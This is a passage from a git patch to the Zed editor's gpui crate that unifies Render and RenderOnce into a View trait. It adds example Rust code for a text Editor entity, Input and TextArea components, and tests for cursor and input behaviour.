+                show_active_line_background: false,
+                sizing_behavior: SizingBehavior::ExcludeOverscrollMargin,
+            }
+        } else if v2_empty_state {
             EditorMode::Full {
                 scale_ui_elements_with_buffer_font_size: false,
                 show_active_line_background: false,

From 74b5207744ef95505fd75c56bf2c9d4736e931ee Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Wed, 8 Jul 2026 08:52:48 -0700
Subject: [PATCH 338/772] Unify Render and RenderOnce into View (#58087)

This allows us to build powerful and flexible Input and TextArea
components

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 crates/gpui/Cargo.toml                        |   4 +
 .../examples/view_example/example_editor.rs   | 549 ++++++++++++++++++
 .../examples/view_example/example_input.rs    | 121 ++++
 .../examples/view_example/example_tests.rs    | 131 +++++
 .../view_example/example_text_area.rs         | 118 ++++
 .../view_example/view_example_main.rs         | 173 ++++++
 crates/gpui/src/element.rs                    | 114 +---
 crates/gpui/src/view.rs                       | 534 +++++++++++------
 crates/gpui/src/window.rs                     |   8 +-
 crates/gpui_macros/src/derive_into_element.rs |   4 +-
 crates/gpui_macros/src/gpui_macros.rs         |   4 +-
 crates/workspace/src/workspace.rs             |   2 +-
 12 files changed, 1464 insertions(+), 298 deletions(-)
 create mode 100644 crates/gpui/examples/view_example/example_editor.rs
 create mode 100644 crates/gpui/examples/view_example/example_input.rs
 create mode 100644 crates/gpui/examples/view_example/example_tests.rs
 create mode 100644 crates/gpui/examples/view_example/example_text_area.rs
 create mode 100644 crates/gpui/examples/view_example/view_example_main.rs

diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index fa6fcace40f376..bad1feabb3b3ef 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -256,3 +256,7 @@ path = "examples/mouse_pressure.rs"
 [[example]]
 name = "a11y"
 path = "examples/a11y.rs"
+
+[[example]]
+name = "view_example"
+path = "examples/view_example/view_example_main.rs"
diff --git a/crates/gpui/examples/view_example/example_editor.rs b/crates/gpui/examples/view_example/example_editor.rs
new file mode 100644
index 00000000000000..2064d7cacef29c
--- /dev/null
+++ b/crates/gpui/examples/view_example/example_editor.rs
@@ -0,0 +1,549 @@
+//! `Editor` — the workhorse entity. It owns the cursor, blink, focus, keyboard
+//! handling, and the specialized text-shaping renderer. The *text itself* lives
+//! in a shared `Entity<String>` it's handed at construction, so the value is
+//! readable/writable from outside while the editing machinery stays in here.
+//!
+//! This is the piece that proves the point: a text input is genuinely
+//! complicated, and `View` lets all of that complexity live in one entity that
+//! anything can embed.
+
+use std::ops::Range;
+use std::time::Duration;
+
+use gpui::{
+    App, Bounds, Context, ElementInputHandler, Entity, EntityInputHandler, FocusHandle, Focusable,
+    InteractiveElement, LayoutId, PaintQuad, Pixels, ShapedLine, SharedString, Subscription, Task,
+    TextRun, UTF16Selection, Window, fill, hsla, point, prelude::*, px, relative, size,
+};
+use unicode_segmentation::*;
+
+use crate::{Backspace, Delete, End, Home, Left, Right};
+
+pub struct Editor {
+    pub value: Entity<String>,
+    pub focus_handle: FocusHandle,
+    pub cursor: usize,
+    pub cursor_visible: bool,
+    _blink_task: Task<()>,
+    _subscriptions: Vec<Subscription>,
+}
+
+impl Editor {
+    /// An editor that owns its own string internally, seeded with `text`.
+    /// Nothing to allocate or wire up at the call site.
+    pub fn new(text: impl Into<String>, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let value = cx.new(|_| text.into());
+        Self::over(value, window, cx)
+    }
+
+    /// An editor over a string *you* own, so the value is shared in and out.
+    pub fn over(value: Entity<String>, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let focus_handle = cx.focus_handle();
+
+        let focus_sub = cx.on_focus(&focus_handle, window, |this, _window, cx| {
+            this.start_blink(cx);
+        });
+        let blur_sub = cx.on_blur(&focus_handle, window, |this, _window, cx| {
+            this.stop_blink(cx);
+        });
+
+        // The value is shared: anything can write it while we hold a cursor into
+        // it. Observe it so external writes (a) clamp the cursor back onto a char
+        // boundary before the next IME round-trip can slice out of bounds, and
+        // (b) notify us, so an `editor.cached(..)` subtree re-renders — the cache
+        // is keyed on *our* notify, not the value's.
+        let value_sub = cx.observe(&value, |this, value, cx| {
+            let content = value.read(cx);
+            let mut cursor = this.cursor.min(content.len());
+            while cursor > 0 && !content.is_char_boundary(cursor) {
+                cursor -= 1;
+            }
+            this.cursor = cursor;
+            cx.notify();
+        });
+
+        Self {
+            value,
+            focus_handle,
+            cursor: 0,
+            cursor_visible: false,
+            _blink_task: Task::ready(()),
+            _subscriptions: vec![focus_sub, blur_sub, value_sub],
+        }
+    }
+
+    /// The current text. Read this from anywhere to get the value out.
+    pub fn text(&self, cx: &App) -> String {
+        self.value.read(cx).clone()
+    }
+
+    fn start_blink(&mut self, cx: &mut Context<Self>) {
+        self.cursor_visible = true;
+        self._blink_task = Self::spawn_blink_task(cx);
+    }
+
+    fn stop_blink(&mut self, cx: &mut Context<Self>) {
+        self.cursor_visible = false;
+        self._blink_task = Task::ready(());
+        cx.notify();
+    }
+
+    fn spawn_blink_task(cx: &mut Context<Self>) -> Task<()> {
+        cx.spawn(async move |this, cx| {
+            loop {
+                cx.background_executor()
+                    .timer(Duration::from_millis(500))
+                    .await;
+                let result = this.update(cx, |editor, cx| {
+                    editor.cursor_visible = !editor.cursor_visible;
+                    cx.notify();
+                });
+                if result.is_err() {
+                    break;
+                }
+            }
+        })
+    }
+
+    fn reset_blink(&mut self, cx: &mut Context<Self>) {
+        self.cursor_visible = true;
+        self._blink_task = Self::spawn_blink_task(cx);
+    }
+
+    pub fn left(&mut self, _: &Left, _: &mut Window, cx: &mut Context<Self>) {
+        let content = self.text(cx);
+        if self.cursor > 0 {
+            self.cursor = previous_boundary(&content, self.cursor);
+        }
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn right(&mut self, _: &Right, _: &mut Window, cx: &mut Context<Self>) {
+        let content = self.text(cx);
+        if self.cursor < content.len() {
+            self.cursor = next_boundary(&content, self.cursor);
+        }
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn home(&mut self, _: &Home, _: &mut Window, cx: &mut Context<Self>) {
+        self.cursor = 0;
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn end(&mut self, _: &End, _: &mut Window, cx: &mut Context<Self>) {
+        self.cursor = self.text(cx).len();
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn backspace(&mut self, _: &Backspace, _: &mut Window, cx: &mut Context<Self>) {
+        let content = self.text(cx);
+        if self.cursor > 0 {
+            let prev = previous_boundary(&content, self.cursor);
+            let cursor = self.cursor;
+            self.value.update(cx, |s, cx| {
+                s.drain(prev..cursor);
+                cx.notify();
+            });
+            self.cursor = prev;
+        }
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn delete(&mut self, _: &Delete, _: &mut Window, cx: &mut Context<Self>) {
+        let content = self.text(cx);
+        if self.cursor < content.len() {
+            let next = next_boundary(&content, self.cursor);
+            let cursor = self.cursor;
+            self.value.update(cx, |s, cx| {
+                s.drain(cursor..next);
+                cx.notify();
+            });
+        }
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    pub fn insert_newline(&mut self, cx: &mut Context<Self>) {
+        let cursor = self.cursor;
+        self.value.update(cx, |s, cx| {
+            s.insert(cursor, '\n');
+            cx.notify();
+        });
+        self.cursor += 1;
+        self.reset_blink(cx);
+        cx.notify();
+    }
+}
+
+fn previous_boundary(content: &str, offset: usize) -> usize {
+    content
+        .grapheme_indices(true)
+        .rev()
+        .find_map(|(idx, _)| (idx < offset).then_some(idx))
+        .unwrap_or(0)
+}
+
+fn next_boundary(content: &str, offset: usize) -> usize {
+    content
+        .grapheme_indices(true)
+        .find_map(|(idx, _)| (idx > offset).then_some(idx))
+        .unwrap_or(content.len())
+}
+
+fn offset_from_utf16(content: &str, offset: usize) -> usize {
+    let mut utf8_offset = 0;
+    let mut utf16_count = 0;
+    for ch in content.chars() {
+        if utf16_count >= offset {
+            break;
+        }
+        utf16_count += ch.len_utf16();
+        utf8_offset += ch.len_utf8();
+    }
+    utf8_offset
+}
+
+fn offset_to_utf16(content: &str, offset: usize) -> usize {
+    let mut utf16_offset = 0;
+    let mut utf8_count = 0;
+    for ch in content.chars() {
+        if utf8_count >= offset {
+            break;
+        }
+        utf8_count += ch.len_utf8();
+        utf16_offset += ch.len_utf16();
+    }
+    utf16_offset
+}
+
+fn range_to_utf16(content: &str, range: &Range<usize>) -> Range<usize> {
+    offset_to_utf16(content, range.start)..offset_to_utf16(content, range.end)
+}
+
+fn range_from_utf16(content: &str, range_utf16: &Range<usize>) -> Range<usize> {
+    offset_from_utf16(content, range_utf16.start)..offset_from_utf16(content, range_utf16.end)
+}
+
+impl Focusable for Editor {
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
+    }
+}
+
+impl EntityInputHandler for Editor {
+    fn text_for_range(
+        &mut self,
+        range_utf16: Range<usize>,
+        actual_range: &mut Option<Range<usize>>,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<String> {
+        let content = self.text(cx);
+        let range = range_from_utf16(&content, &range_utf16);
+        actual_range.replace(range_to_utf16(&content, &range));
+        Some(content[range].to_string())
+    }
+
+    fn selected_text_range(
+        &mut self,
+        _ignore_disabled_input: bool,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<UTF16Selection> {
+        let content = self.text(cx);
+        let utf16_cursor = offset_to_utf16(&content, self.cursor);
+        Some(UTF16Selection {
+            range: utf16_cursor..utf16_cursor,
+            reversed: false,
+        })
+    }
+
+    fn marked_text_range(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) -> Option<Range<usize>> {
+        None
+    }
+
+    fn unmark_text(&mut self, _window: &mut Window, _cx: &mut Context<Self>) {}
+
+    fn replace_text_in_range(
+        &mut self,
+        range_utf16: Option<Range<usize>>,
+        new_text: &str,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let content = self.text(cx);
+        let range = range_utf16
+            .as_ref()
+            .map(|r| range_from_utf16(&content, r))
+            .unwrap_or(self.cursor..self.cursor);
+
+        let new_content = content[..range.start].to_owned() + new_text + &content[range.end..];
+        self.cursor = range.start + new_text.len();
+        self.value.update(cx, |s, cx| {
+            *s = new_content;
+            cx.notify();
+        });
+        self.reset_blink(cx);
+        cx.notify();
+    }
+
+    fn replace_and_mark_text_in_range(
+        &mut self,
+        range_utf16: Option<Range<usize>>,
+        new_text: &str,
+        _new_selected_range_utf16: Option<Range<usize>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.replace_text_in_range(range_utf16, new_text, window, cx);
+    }
+
+    fn bounds_for_range(
+        &mut self,
+        _range_utf16: Range<usize>,
+        _bounds: Bounds<Pixels>,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) -> Option<Bounds<Pixels>> {
+        None
+    }
+
+    fn character_index_for_point(
+        &mut self,
+        _point: gpui::Point<Pixels>,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) -> Option<usize> {
+        None
+    }
+}
+
+impl gpui::Render for Editor {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Editor>) -> impl IntoElement {
+        EditorText {
+            editor: cx.entity(),
+        }
+    }
+}
+
+// ---------------------------------------------------------------------------
+// EditorText — the specialized renderer: shapes the text and paints the cursor.
+// ---------------------------------------------------------------------------
+
+struct EditorText {
+    editor: Entity<Editor>,
+}
+
+struct EditorTextPrepaint {
+    lines: Vec<ShapedLine>,
+    cursor: Option<PaintQuad>,
+}
+
+impl IntoElement for EditorText {
+    type Element = Self;
+
+    fn into_element(self) -> Self::Element {
+        self
+    }
+}
+
+impl Element for EditorText {
+    type RequestLayoutState = ();
+    type PrepaintState = EditorTextPrepaint;
+
+    fn id(&self) -> Option<gpui::ElementId> {
+        None
+    }
+
+    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
+        None
+    }
+
+    fn request_layout(
+        &mut self,
+        _id: Option<&gpui::GlobalElementId>,
+        _inspector_id: Option<&gpui::InspectorElementId>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> (LayoutId, Self::RequestLayoutState) {
+        let editor = self.editor.read(cx);
+        let content = editor.value.read(cx);
+        let line_count = content.split('\n').count().max(1);
+        let line_height = window.line_height();
+        let mut style = gpui::Style::default();
+        style.size.width = relative(1.).into();
+        style.size.height = (line_height * line_count as f32).into();
+        (window.request_layout(style, [], cx), ())
+    }
+
+    fn prepaint(
+        &mut self,
+        _id: Option<&gpui::GlobalElementId>,
+        _inspector_id: Option<&gpui::InspectorElementId>,
+        bounds: Bounds<Pixels>,
+        _request_layout: &mut Self::RequestLayoutState,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Self::PrepaintState {
+        let editor = self.editor.read(cx);
+        let content = editor.value.read(cx).clone();
+        let cursor_offset = editor.cursor;
+        let cursor_visible = editor.cursor_visible;
+        let is_focused = editor.focus_handle.is_focused(window);
+
+        let style = window.text_style();
+        let text_color = style.color;
+        let font_size = style.font_size.to_pixels(window.rem_size());
+        let line_height = window.line_height();
+
+        let is_placeholder = content.is_empty();
+
+        let lines: Vec<ShapedLine> = if is_placeholder {
+            let placeholder: SharedString = "Type here...".into();
+            let run = TextRun {
+                len: placeholder.len(),
+                font: style.font(),
+                color: hsla(0., 0., 0.5, 0.5),
+                background_color: None,
+                underline: None,
+                strikethrough: None,
+            };
+            vec![
+                window
+                    .text_system()
+                    .shape_line(placeholder, font_size, &[run], None),
+            ]
+        } else {
+            content
+                .split('\n')
+                .map(|line_str| {
+                    let text: SharedString = SharedString::from(line_str.to_string());
+                    let run = TextRun {
+                        len: text.len(),
+                        font: style.font(),
+                        color: text_color,
+                        background_color: None,
+                        underline: None,
+                        strikethrough: None,
+                    };
+                    window
+                        .text_system()
+                        .shape_line(text, font_size, &[run], None)
+                })
+                .collect()
+        };
+
+        let cursor = if is_focused && cursor_visible && !is_placeholder {
+            let (cursor_line, offset_in_line) = cursor_line_and_offset(&content, cursor_offset);
+            let cursor_line = cursor_line.min(lines.len().saturating_sub(1));
+            let cursor_x = lines[cursor_line].x_for_index(offset_in_line);
+            Some(fill(
+                Bounds::new(
+                    point(
+                        bounds.left() + cursor_x,
+                        bounds.top() + line_height * cursor_line as f32,
+                    ),
+                    size(px(1.5), line_height),
+                ),
+                text_color,
+            ))
+        } else if is_focused && cursor_visible && is_placeholder {
+            Some(fill(
+                Bounds::new(
+                    point(bounds.left(), bounds.top()),
+                    size(px(1.5), line_height),
+                ),
+                text_color,
+            ))
+        } else {
+            None
+        };
+
+        EditorTextPrepaint { lines, cursor }
+    }
+
+    fn paint(
+        &mut self,
+        _id: Option<&gpui::GlobalElementId>,
+        _inspector_id: Option<&gpui::InspectorElementId>,
+        bounds: Bounds<Pixels>,
+        _request_layout: &mut Self::RequestLayoutState,
+        prepaint: &mut Self::PrepaintState,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        let focus_handle = self.editor.read(cx).focus_handle.clone();
+        window.handle_input(
+            &focus_handle,
+            ElementInputHandler::new(bounds, self.editor.clone()),
+            cx,
+        );
+
+        let line_height = window.line_height();
+        for (i, line) in prepaint.lines.iter().enumerate() {
+            let origin = point(bounds.left(), bounds.top() + line_height * i as f32);
+            line.paint(origin, line_height, gpui::TextAlign::Left, None, window, cx)
+                .unwrap();
+        }
+
+        if let Some(cursor) = prepaint.cursor.take() {
+            window.paint_quad(cursor);
+        }
+    }
+}
+
+fn cursor_line_and_offset(content: &str, cursor: usize) -> (usize, usize) {
+    let mut line_index = 0;
+    let mut line_start = 0;
+    for (i, ch) in content.char_indices() {
+        if i >= cursor {
+            break;
+        }
+        if ch == '\n' {
+            line_index += 1;
+            line_start = i + 1;
+        }
+    }
+    (line_index, cursor - line_start)
+}
+
+pub fn standard_actions<E: InteractiveElement>(editor: Entity<Editor>) -> impl FnOnce(E) -> E {
+    move |element| {
+        element
+            .on_action({
+                let editor = editor.clone();
+                move |a: &Left, window, cx| editor.update(cx, |e, cx| e.left(a, window, cx))
+            })
+            .on_action({
+                let editor = editor.clone();
+                move |a: &Right, window, cx| editor.update(cx, |e, cx| e.right(a, window, cx))
+            })
+            .on_action({
+                let editor = editor.clone();
+                move |a: &Home, window, cx| editor.update(cx, |e, cx| e.home(a, window, cx))
+            })
+            .on_action({
+                let editor = editor.clone();
+                move |a: &End, window, cx| editor.update(cx, |e, cx| e.end(a, window, cx))
+            })
+            .on_action({
+                let editor = editor.clone();
+                move |a: &Backspace, window, cx| {
+                    editor.update(cx, |e, cx| e.backspace(a, window, cx))
+                }
+            })
+            .on_action(move |a: &Delete, window, cx| {
+                editor.update(cx, |e, cx| e.delete(a, window, cx))
+            })
+    }
+}
diff --git a/crates/gpui/examples/view_example/example_input.rs b/crates/gpui/examples/view_example/example_input.rs
new file mode 100644
index 00000000000000..25d74013deb757
--- /dev/null
+++ b/crates/gpui/examples/view_example/example_input.rs
@@ -0,0 +1,121 @@
+//! `Input` — a single-line text input. The shaping layer over `Editor`.
+//!
+//! Construct it two ways, depending on how much state you want to own:
+//!   * `Input::new(value: Entity<String>)`  — you hold just the string; the input
+//!     allocates the `Editor` internally via `use_state`. Value readable, cursor hidden.
+//!   * `Input::editor(editor: Entity<Editor>)` — you hold the editor; cursor/selection
+//!     are now yours to read and drive too.
+//!
+//! Either way the chrome is identical. Because the string (or editor) is the
+//! input's *identity*, the internal `use_state(Editor)` is collision-safe across
+//! any number of inputs.
+
+use gpui::{
+    App, BoxShadow, CursorStyle, Entity, EntityId, Hsla, IntoElement, Pixels, StyleRefinement,
+    Window, div, hsla, point, prelude::*, px, white,
+};
+
+use crate::example_editor::{Editor, standard_actions};
+
+enum Source {
+    Value(Entity<String>),
+    Editor(Entity<Editor>),
+}
+
+#[derive(IntoElement)]
+pub struct Input {
+    source: Source,
+    width: Option<Pixels>,
+    color: Option<Hsla>,
+}
+
+impl Input {
+    /// Backed by a bare string; the editor is allocated internally.
+    pub fn new(value: Entity<String>) -> Self {
+        Self {
+            source: Source::Value(value),
+            width: None,
+            color: None,
+        }
+    }
+
+    /// Backed by an editor you own (so you can read/drive its cursor).
+    pub fn editor(editor: Entity<Editor>) -> Self {
+        Self {
+            source: Source::Editor(editor),
+            width: None,
+            color: None,
+        }
+    }
+
+    pub fn width(mut self, width: Pixels) -> Self {
+        self.width = Some(width);
+        self
+    }
+
+    pub fn color(mut self, color: Hsla) -> Self {
+        self.color = Some(color);
+        self
+    }
+}
+
+impl gpui::View for Input {
+    fn entity_id(&self) -> Option<EntityId> {
+        Some(match &self.source {
+            Source::Value(value) => value.entity_id(),
+            Source::Editor(editor) => editor.entity_id(),
+        })
+    }
+
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
+        // Get the editor: use the one we were handed, or allocate it under our
+        // own (string-derived) identity so it persists and never collides.
+        let editor = match self.source {
+            Source::Value(value) => {
+                window.use_state(cx, move |window, cx| Editor::over(value, window, cx))
+            }
+            Source::Editor(editor) => editor,
+        };
+
+        let focus_handle = editor.read(cx).focus_handle.clone();
+        let is_focused = focus_handle.is_focused(window);
+        let text_color = self.color.unwrap_or(hsla(0., 0., 0.1, 1.));
+        let box_width = self.width.unwrap_or(px(300.));
+
+        let border = if is_focused {
+            hsla(220. / 360., 0.8, 0.5, 1.)
+        } else {
+            hsla(0., 0., 0.75, 1.)
+        };
+
+        div()
+            .id("input")
+            .key_context("TextInput")
+            .track_focus(&focus_handle)
+            .cursor(CursorStyle::IBeam)
+            .map(standard_actions(editor.clone()))
+            .w(box_width)
+            .h(px(36.))
+            .px(px(8.))
+            .bg(white())
+            .border_1()
+            .border_color(border)
+            .when(is_focused, |this| {
+                this.shadow(vec![BoxShadow {
+                    color: hsla(220. / 360., 0.8, 0.5, 0.3),
+                    offset: point(px(0.), px(0.)),
+                    blur_radius: px(4.),
+                    spread_radius: px(1.),
+                    inset: false,
+                }])
+            })
+            .rounded(px(4.))
+            .overflow_hidden()
+            .flex()
+            .items_center()
+            .line_height(px(20.))
+            .text_size(px(14.))
+            .text_color(text_color)
+            .child(editor.cached(StyleRefinement::default().size_full()))
+    }
+}
diff --git a/crates/gpui/examples/view_example/example_tests.rs b/crates/gpui/examples/view_example/example_tests.rs
new file mode 100644
index 00000000000000..a3edae8cda1f6d
--- /dev/null
+++ b/crates/gpui/examples/view_example/example_tests.rs
@@ -0,0 +1,131 @@
+//! Tests for the input composition. Require the `test-support` feature:
+//!
+//! ```sh
+//! cargo test -p gpui --example view_example --features test-support
+//! ```
+
+#[cfg(test)]
+mod tests {
+    use gpui::{Context, Entity, KeyBinding, TestAppContext, Window, prelude::*};
+
+    use crate::example_editor::Editor;
+    use crate::example_input::Input;
+    use crate::{Backspace, Delete, End, Home, Left, Right};
+
+    /// Two inputs, each backed by an editor we own (so the test can focus and
+    /// read them). Proves data flows through the shared `String` and that
+    /// sibling inputs stay isolated.
+    struct Harness {
+        a: Entity<Editor>,
+        b: Entity<Editor>,
+    }
+
+    impl Render for Harness {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            gpui::div()
+                .child(Input::editor(self.a.clone()))
+                .child(Input::editor(self.b.clone()))
+        }
+    }
+
+    fn bind_keys(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            cx.bind_keys([
+                KeyBinding::new("backspace", Backspace, None),
+                KeyBinding::new("delete", Delete, None),
+                KeyBinding::new("left", Left, None),
+                KeyBinding::new("right", Right, None),
+                KeyBinding::new("home", Home, None),
+                KeyBinding::new("end", End, None),
+            ]);
+        });
+    }
+
+    fn setup(
+        cx: &mut TestAppContext,
+    ) -> (
+        Entity<Editor>,
+        Entity<String>,
+        Entity<String>,
+        &mut gpui::VisualTestContext,
+    ) {
+        bind_keys(cx);
+
+        let (harness, cx) = cx.add_window_view(|window, cx| {
+            let a_value = cx.new(|_| String::new());
+            let b_value = cx.new(|_| String::new());
+            let a = cx.new(|cx| Editor::over(a_value, window, cx));
+            let b = cx.new(|cx| Editor::over(b_value, window, cx));
+            Harness { a, b }
+        });
+
+        let a = cx.read_entity(&harness, |h, _| h.a.clone());
+        let b = cx.read_entity(&harness, |h, _| h.b.clone());
+        let a_value = cx.read_entity(&a, |e, _| e.value.clone());
+        let b_value = cx.read_entity(&b, |e, _| e.value.clone());
+
+        // Focus the first input's editor.
+        cx.update(|window, cx| {
+            let focus_handle = a.read(cx).focus_handle.clone();
+            window.focus(&focus_handle, cx);
+        });
+
+        (a, a_value, b_value, cx)
+    }
+
+    #[gpui::test]
+    fn typing_updates_the_shared_string(cx: &mut TestAppContext) {
+        let (editor, a_value, _b_value, cx) = setup(cx);
+
+        cx.simulate_input("hello");
+
+        cx.read_entity(&a_value, |value, _| assert_eq!(value, "hello"));
+        cx.read_entity(&editor, |editor, _| assert_eq!(editor.cursor, 5));
+    }
+
+    #[gpui::test]
+    fn sibling_inputs_are_isolated(cx: &mut TestAppContext) {
+        let (_editor, a_value, b_value, cx) = setup(cx);
+
+        cx.simulate_input("x");
+
+        cx.read_entity(&a_value, |value, _| assert_eq!(value, "x"));
+        cx.read_entity(&b_value, |value, _| {
+            assert_eq!(value, "", "typing in input A must not touch input B")
+        });
+    }
+
+    #[gpui::test]
+    fn external_writes_clamp_the_cursor(cx: &mut TestAppContext) {
+        let (editor, a_value, _b_value, cx) = setup(cx);
+
+        cx.simulate_input("hello");
+        cx.read_entity(&editor, |editor, _| assert_eq!(editor.cursor, 5));
+
+        // Write the shared value from outside the editor. The old cursor (5)
+        // now points into the middle of a multi-byte character; the editor's
+        // observation must clamp it back onto a boundary.
+        cx.update(|_, cx| {
+            a_value.update(cx, |value, cx| {
+                *value = "日本".to_string();
+                cx.notify();
+            })
+        });
+
+        cx.read_entity(&a_value, |value, _| assert_eq!(value, "日本"));
+        cx.read_entity(&editor, |editor, _| {
+            assert_eq!(editor.cursor, 3, "cursor must clamp to a char boundary");
+        });
+    }
+
+    #[gpui::test]
+    fn arrows_move_the_cursor(cx: &mut TestAppContext) {
+        let (editor, _a_value, _b_value, cx) = setup(cx);
+
+        cx.simulate_input("abc");
+        cx.read_entity(&editor, |editor, _| assert_eq!(editor.cursor, 3));
+
+        cx.simulate_keystrokes("left left");
+        cx.read_entity(&editor, |editor, _| assert_eq!(editor.cursor, 1));
+    }
+}
diff --git a/crates/gpui/examples/view_example/example_text_area.rs b/crates/gpui/examples/view_example/example_text_area.rs
new file mode 100644
index 00000000000000..07640b93294677
--- /dev/null
+++ b/crates/gpui/examples/view_example/example_text_area.rs
@@ -0,0 +1,118 @@
+//! `TextArea` — a multi-line text box. Same `Editor` workhorse, taller chrome,
+//! and `Enter` inserts a newline instead of being ignored. Constructible from a
+//! string or an editor, exactly like [`Input`](crate::example_input::Input).
+
+use gpui::{
+    App, BoxShadow, CursorStyle, Entity, EntityId, Hsla, IntoElement, StyleRefinement, Window, div,
+    hsla, point, prelude::*, px, white,
+};
+
+use crate::Enter;
+use crate::example_editor::{Editor, standard_actions};
+
+enum Source {
+    Value(Entity<String>),
+    Editor(Entity<Editor>),
+}
+
+#[derive(IntoElement)]
+pub struct TextArea {
+    source: Source,
+    rows: usize,
+    color: Option<Hsla>,
+}
+
+impl TextArea {
+    pub fn new(value: Entity<String>, rows: usize) -> Self {
+        Self {
+            source: Source::Value(value),
+            rows,
+            color: None,
+        }
+    }
+
+    pub fn editor(editor: Entity<Editor>, rows: usize) -> Self {
+        Self {
+            source: Source::Editor(editor),
+            rows,
+            color: None,
+        }
+    }
+
+    pub fn color(mut self, color: Hsla) -> Self {
+        self.color = Some(color);
+        self
+    }
+}
+
+impl gpui::View for TextArea {
+    fn entity_id(&self) -> Option<EntityId> {
+        Some(match &self.source {
+            Source::Value(value) => value.entity_id(),
+            Source::Editor(editor) => editor.entity_id(),
+        })
+    }
+
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let editor = match self.source {
+            Source::Value(value) => {
+                window.use_state(cx, move |window, cx| Editor::over(value, window, cx))
+            }
+            Source::Editor(editor) => editor,
+        };
+
+        let focus_handle = editor.read(cx).focus_handle.clone();
+        let is_focused = focus_handle.is_focused(window);
+        let text_color = self.color.unwrap_or(hsla(0., 0., 0.1, 1.));
+        let row_height = px(20.);
+        let box_height = row_height * self.rows as f32 + px(16.);
+
+        let border = if is_focused {
+            hsla(220. / 360., 0.8, 0.5, 1.)
+        } else {
+            hsla(0., 0., 0.75, 1.)
+        };
+
+        div()
+            .id("text-area")
+            .key_context("TextInput")
+            .track_focus(&focus_handle)
+            .cursor(CursorStyle::IBeam)
+            .map(standard_actions(editor.clone()))
+            // Enter is the one binding that differs from a single-line input.
+            .on_action({
+                let editor = editor.clone();
+                move |_: &Enter, _window, cx| editor.update(cx, |e, cx| e.insert_newline(cx))
+            })
+            .w(px(400.))
+            .h(box_height)
+            .p(px(8.))
+            .bg(white())
+            .border_1()
+            .border_color(border)
+            .when(is_focused, |this| {
+                this.shadow(vec![BoxShadow {
+                    color: hsla(220. / 360., 0.8, 0.5, 0.3),
+                    offset: point(px(0.), px(0.)),
+                    blur_radius: px(4.),
+                    spread_radius: px(1.),
+                    inset: false,
+                }])
+            })
+            .rounded(px(4.))
+            .overflow_hidden()
+            .line_height(row_height)
+            .text_size(px(14.))
+            .text_color(text_color)
+            // The cache style is computed from the `rows` prop: change `rows` and
+            // the editor's cached bounds change, busting its cache and re-laying
+            // out the text. (`Input` just uses `size_full()` — nothing to vary.)
+            .child(
+                editor.cached(
+                    StyleRefinement::default()
+                        .w_full()
+                        .h(row_height * self.rows as f32),
+                ),
+            )
+    }
+}
diff --git a/crates/gpui/examples/view_example/view_example_main.rs b/crates/gpui/examples/view_example/view_example_main.rs
new file mode 100644
index 00000000000000..0eac8494ffc016
--- /dev/null
+++ b/crates/gpui/examples/view_example/view_example_main.rs
@@ -0,0 +1,173 @@
+#![cfg_attr(target_family = "wasm", no_main)]
+
+//! View example — composing a text input from the `View` primitives.
+//!
+//! The whole point: a text input is deceptively complicated, and `View` makes it
+//! easy to compose one. Three pieces, each shown in its own section:
+//!
+//!   * `Editor`  — the workhorse entity: cursor, blink, focus, keyboard, and a
+//!                 specialized text renderer. All the hard parts live here.
+//!   * `String`  — the data plane. `editor.text(cx)` / `value.read(cx)` get it out.
+//!   * `Input` / `TextArea` — the shaping layer. Each takes a `String` (and grows
+//!                 the editor internally) OR an `Editor` (so you can read the cursor).
+//!
+//! Run: `cargo run -p gpui --example view_example`
+
+mod example_editor;
+mod example_input;
+mod example_text_area;
+
+#[cfg(test)]
+mod example_tests;
+
+use example_editor::Editor;
+use example_input::Input;
+use example_text_area::TextArea;
+
+use gpui::{
+    App, Bounds, Context, Div, Entity, IntoElement, KeyBinding, Render, SharedString, Window,
+    WindowBounds, WindowOptions, actions, div, hsla, prelude::*, px, rgb, size,
+};
+use gpui_platform::application;
+
+actions!(
+    view_example,
+    [Backspace, Delete, Left, Right, Home, End, Enter, Quit]
+);
+
+/// A tiny stateless view that reads an editor's cursor and is composed *beside*
+/// the thing editing it — two views over one entity, zero wiring.
+#[derive(IntoElement)]
+struct CursorReadout {
+    editor: Entity<Editor>,
+}
+
+impl CursorReadout {
+    fn new(editor: Entity<Editor>) -> Self {
+        Self { editor }
+    }
